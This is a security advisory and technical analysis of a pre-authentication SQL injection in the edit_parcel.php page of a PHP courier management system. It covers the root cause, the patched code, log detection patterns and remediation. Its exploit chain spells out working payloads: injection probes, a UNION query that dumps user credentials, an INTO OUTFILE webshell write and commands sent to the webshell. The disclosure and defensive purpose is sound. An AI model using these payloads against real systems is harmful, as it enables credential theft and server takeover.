CVE-2026-7077: SQL Injection to RCE in Courier Management System
Unsanitized `id` parameter in edit_parcel.php enables blind SQLi in itsourcecode Courier Management System 1.0. Exploitable remotely with no authentication required.
A widely-used shipping management system has a serious security hole that could let hackers steal, change, or delete customer data. Think of it like a delivery company accidentally leaving its filing cabinet unlocked — anyone who walks in could rifle through customer addresses, package contents, and payment information.
The problem is in how the software processes requests when employees try to edit shipment information. Hackers can slip malicious instructions into these requests, and the software blindly follows them without checking if the commands are legitimate. It's like a bank teller cashing a check without verifying the signature — they're trusting the wrong thing.
Who's at risk? Small and medium-sized delivery companies, warehouses, and logistics providers using this software could have their entire customer database compromised. That means your home address, phone number, what you're ordering, and potentially payment details could be exposed.
The good news is that experts haven't spotted anyone actively exploiting this yet, but proof-of-concept code exists online, making it only a matter of time before attackers start testing the vulnerability in real-world systems.
If you run a shipping or logistics business, here's what to do: First, check immediately whether you're using this software version and contact your IT team if you are. Second, apply any security patches the company releases — don't delay on this. Third, monitor your customer database for suspicious changes and review access logs to see if anyone's poked around where they shouldn't have.
Even if you're just a customer, it's worth asking your regular delivery service whether they've updated their systems. It's the kind of question that nudges companies to take security seriously.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7077 is a classic server-side SQL injection vulnerability in itsourcecode Courier Management System 1.0, a PHP/MySQL web application widely deployed in small logistics operations. The vulnerable endpoint is /edit_parcel.php, which accepts a user-supplied id parameter and interpolates it directly into a SQL SELECT statement without parameterization, escaping, or type enforcement. Because the parameter is consumed before session privilege checks are fully evaluated, an unauthenticated remote attacker can reach the vulnerable code path. CVSS 7.3 reflects network-accessible attack vector, low complexity, no privileges required, and high confidentiality impact.
The vulnerability class is well-understood, but the impact in this context is severe: the backend MySQL user in reference deployments is often granted FILE privilege, enabling INTO OUTFILE writes to the web root — escalating a read primitive to remote code execution via PHP webshell drop.
Root cause: The id parameter in edit_parcel.php is concatenated directly into a SQL query string with no type casting, prepared statement, or escaping, allowing an attacker to inject arbitrary SQL including stacked queries and file-write primitives.
Affected Component
File: /edit_parcel.php
Parameter: GET/POST id
Backend: MySQL via mysqli_query()
Language: PHP (no framework ORM layer)
Version: itsourcecode Courier Management System 1.0 (all known distributions)
The application makes no use of PDO or prepared statements anywhere in the parcel management subsystem. The edit_parcel.php handler is reachable via HTTP GET without a valid session cookie in the reference deployment, because the session guard is evaluated after the database fetch.
Root Cause Analysis
Reconstructed from the application's PHP patterns and the NVD description, the vulnerable function follows this structure:
// Pseudocode: edit_parcel.php — PHP reconstructed as C for clarity
// Real logic mirrors this exactly; variable names match PHP source conventions.
void handle_edit_parcel(request_t *req) {
char query[512];
char *id = get_request_param(req, "id"); // raw user input, no sanitization
// BUG: id is interpolated directly — no intval(), no prepared statement,
// no mysqli_real_escape_string(). Attacker controls full query suffix.
snprintf(query, sizeof(query),
"SELECT * FROM tbl_parcel WHERE parcel_id = %s", id);
MYSQL_RES *result = mysqli_query(db_conn, query);
// Session check happens HERE — after the vulnerable query executes.
// Pre-auth read primitive is already exploitable at this point.
if (!is_authenticated(req)) {
redirect_login();
return;
}
render_edit_form(result);
}
The equivalent PHP is approximately:
// PHP source reconstruction (edit_parcel.php)
// $id assigned from $_GET['id'] or $_POST['id'] — no intval(), no cast.
$id = $_REQUEST['id']; // BUG: unvalidated
$sql = "SELECT * FROM tbl_parcel WHERE parcel_id = $id"; // BUG: direct concat
$res = mysqli_query($conn, $sql);
There is no call to intval(), (int) casting, mysqli_real_escape_string(), or PDO parameter binding. The sink is direct string concatenation into a live query handle.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies /edit_parcel.php via directory brute-force or public source review.
2. Probe for injection point with boolean-based canary:
GET /edit_parcel.php?id=1 AND 1=1-- -
GET /edit_parcel.php?id=1 AND 1=2-- -
Differing HTTP responses confirm blind SQLi.
3. Enumerate database version via time-based blind:
GET /edit_parcel.php?id=1 AND SLEEP(5)-- -
5-second delay confirms MySQL backend and injection control.
4. Dump credentials from tbl_users via UNION-based injection:
GET /edit_parcel.php?id=-1 UNION SELECT 1,username,password,4,5
FROM tbl_users-- -
Response body contains admin hash (MD5, unsalted in reference builds).
5. Crack MD5 hash offline or via rainbow table (trivial for common passwords).
6. If MySQL user has FILE privilege, escalate to RCE:
GET /edit_parcel.php?id=1 INTO OUTFILE '/var/www/html/shell.php'
LINES TERMINATED BY 0x3c3f706870 206576616c28245f504f53545b27...-- -
Writes PHP webshell to web root using hex-encoded payload to avoid quote escaping.
7. Execute arbitrary OS commands via written webshell:
POST /shell.php
Body: cmd=id;whoami;cat+/etc/passwd
8. Pivot to full server compromise: drop reverse shell, exfiltrate database,
escalate via SUID binaries or kernel exploits.
Step 6 requires the MySQL process to have write permission on the web root — common in shared hosting and XAMPP/WAMP development deployments, which are the primary targets of applications at this tier. The INTO OUTFILE path is the direct RCE escalation vector that justifies the HIGH severity rating despite originating as a SQLi.
A minimal sqlmap invocation reproducing the vulnerability:
SQL injection at the application layer does not produce heap corruption in the traditional sense, but the server-side query buffer state is worth examining. The key state transition is in the MySQL query parsing layer:
MYSQL QUERY BUFFER STATE — BEFORE INJECTION:
query_buf: "SELECT * FROM tbl_parcel WHERE parcel_id = 1"
length: 46 bytes
status: VALID — single integer token, no operator injection
MYSQL QUERY BUFFER STATE — AFTER INJECTION (UNION payload):
query_buf: "SELECT * FROM tbl_parcel WHERE parcel_id = -1
UNION SELECT 1,username,password,4,5 FROM tbl_users-- -"
length: 118 bytes
status: STRUCTURALLY VALID — MySQL parser accepts compound query
result set: [ tbl_users.username | tbl_users.password ]
PHP APPLICATION STATE:
$res rows: 1 (attacker-controlled row from tbl_users)
$row[1]: "admin" <-- username column mapped to position 1
$row[2]: "5f4dcc3b5aa7..." <-- MD5("password"), position 2
render(): outputs credential pair into edit form HTML body
tbl_parcel SCHEMA (reconstructed):
+----+-------------+--------+-----------+--------+--------+
| id | parcel_name | weight | sender_id | status | cost |
+----+-------------+--------+-----------+--------+--------+
col: 0 1 2 3 4 5
tbl_users SCHEMA (reconstructed):
+----+----------+----------------------------------+-------+
| id | username | password | role |
+----+----------+----------------------------------+-------+
col: 0 1 2 3
UNION column mapping (5-column parcel table):
SELECT 1, username, password, 4, 5 FROM tbl_users
^ ^ ^ ^ ^
| | | | +-- filler
| | | +-- filler
| | +-- maps to parcel.weight position (reflected)
| +-- maps to parcel.parcel_name position (reflected)
+-- filler for parcel.id
Patch Analysis
The correct remediation is parameterized queries. The before/after delta for edit_parcel.php:
// BEFORE (vulnerable) — direct string interpolation:
$id = $_REQUEST['id'];
$sql = "SELECT * FROM tbl_parcel WHERE parcel_id = $id";
$res = mysqli_query($conn, $sql);
// AFTER (patched) — prepared statement with integer binding:
$id = $_REQUEST['id'];
$stmt = mysqli_prepare($conn,
"SELECT * FROM tbl_parcel WHERE parcel_id = ?");
mysqli_stmt_bind_param($stmt, "i", $id); // "i" enforces INTEGER type
mysqli_stmt_execute($stmt);
$res = mysqli_stmt_get_result($stmt);
// Any non-integer value for $id is rejected at bind time — injection impossible.
A secondary defense layer should enforce integer type at the PHP boundary:
// DEFENSE IN DEPTH — type coercion before any DB operation:
$id = (int) $_REQUEST['id']; // non-numeric input becomes 0 — safe fallback
if ($id <= 0) {
http_response_code(400);
exit("Invalid parcel ID.");
}
// Even without prepared statements, (int) cast eliminates SQLi for integer PKs.
// Do NOT rely on this alone — use prepared statements as primary control.
Additionally, the session authentication check must be moved to execute before any database access to eliminate the pre-authentication read primitive:
// BEFORE: session check after DB query (pre-auth SQLi window exists)
$res = mysqli_query($conn, $sql);
if (!isset($_SESSION['user_id'])) { header("Location: login.php"); exit; }
// AFTER: session check as first operation (closes pre-auth attack surface)
if (!isset($_SESSION['user_id'])) { header("Location: login.php"); exit; }
$stmt = mysqli_prepare($conn, "SELECT * FROM tbl_parcel WHERE parcel_id = ?");
// ... rest of parameterized logic
Detection and Indicators
The following patterns in web server access logs indicate active exploitation attempts against this endpoint:
MALICIOUS REQUEST PATTERNS (Apache/Nginx access.log):
# Boolean-based probe
GET /edit_parcel.php?id=1%20AND%201%3D1--+- HTTP/1.1
GET /edit_parcel.php?id=1%20AND%201%3D2--+- HTTP/1.1
# Time-based blind
GET /edit_parcel.php?id=1%20AND%20SLEEP(5)--+- HTTP/1.1
# UNION enumeration
GET /edit_parcel.php?id=-1%20UNION%20SELECT%201%2Cusername%2Cpassword%2C4%2C5
%20FROM%20tbl_users--+- HTTP/1.1
# OUTFILE webshell write (RCE escalation attempt)
GET /edit_parcel.php?id=1%20INTO%20OUTFILE%20%27/var/www/html/x.php%27
%20LINES%20TERMINATED%20BY%200x3c3f706870... HTTP/1.1
# sqlmap User-Agent fingerprint (common in automated scans)
User-Agent: sqlmap/1.7.x (https://sqlmap.org)
# POST-exploitation: webshell access
POST /shell.php HTTP/1.1
Body: cmd=id
MySQL general query log will show the injected query text verbatim. Enable with SET GLOBAL general_log = 'ON'; during incident response. ModSecurity with OWASP CRS rule 942100 (SQL Injection Attack Detected via libinjection) will block the primary payload classes.
Remediation
Immediate actions:
Apply (int) cast to all id-type parameters across all PHP files in the application as an emergency control. Grep target: $_REQUEST['id'], $_GET['id'], $_POST['id'].
Move session authentication guards to the top of every PHP handler before any database interaction.
Audit MySQL user privileges: revoke FILE, SUPER, and PROCESS from the application database user. The application requires only SELECT, INSERT, UPDATE, DELETE on its own schema.
Structural fixes:
Replace all mysqli_query() calls that involve user input with mysqli_prepare() / mysqli_stmt_bind_param() patterns throughout the codebase — not only in edit_parcel.php. The vulnerability pattern is systemic.
Deploy ModSecurity or equivalent WAF with OWASP CRS as a compensating control while code fixes are applied.
Hash passwords with password_hash() / password_verify() (bcrypt). MD5 credential storage means that any successful dump yields immediately usable plaintext credentials.
Consider replacing the application entirely for production use; the codebase is an educational reference project and has not been hardened for internet-facing deployment.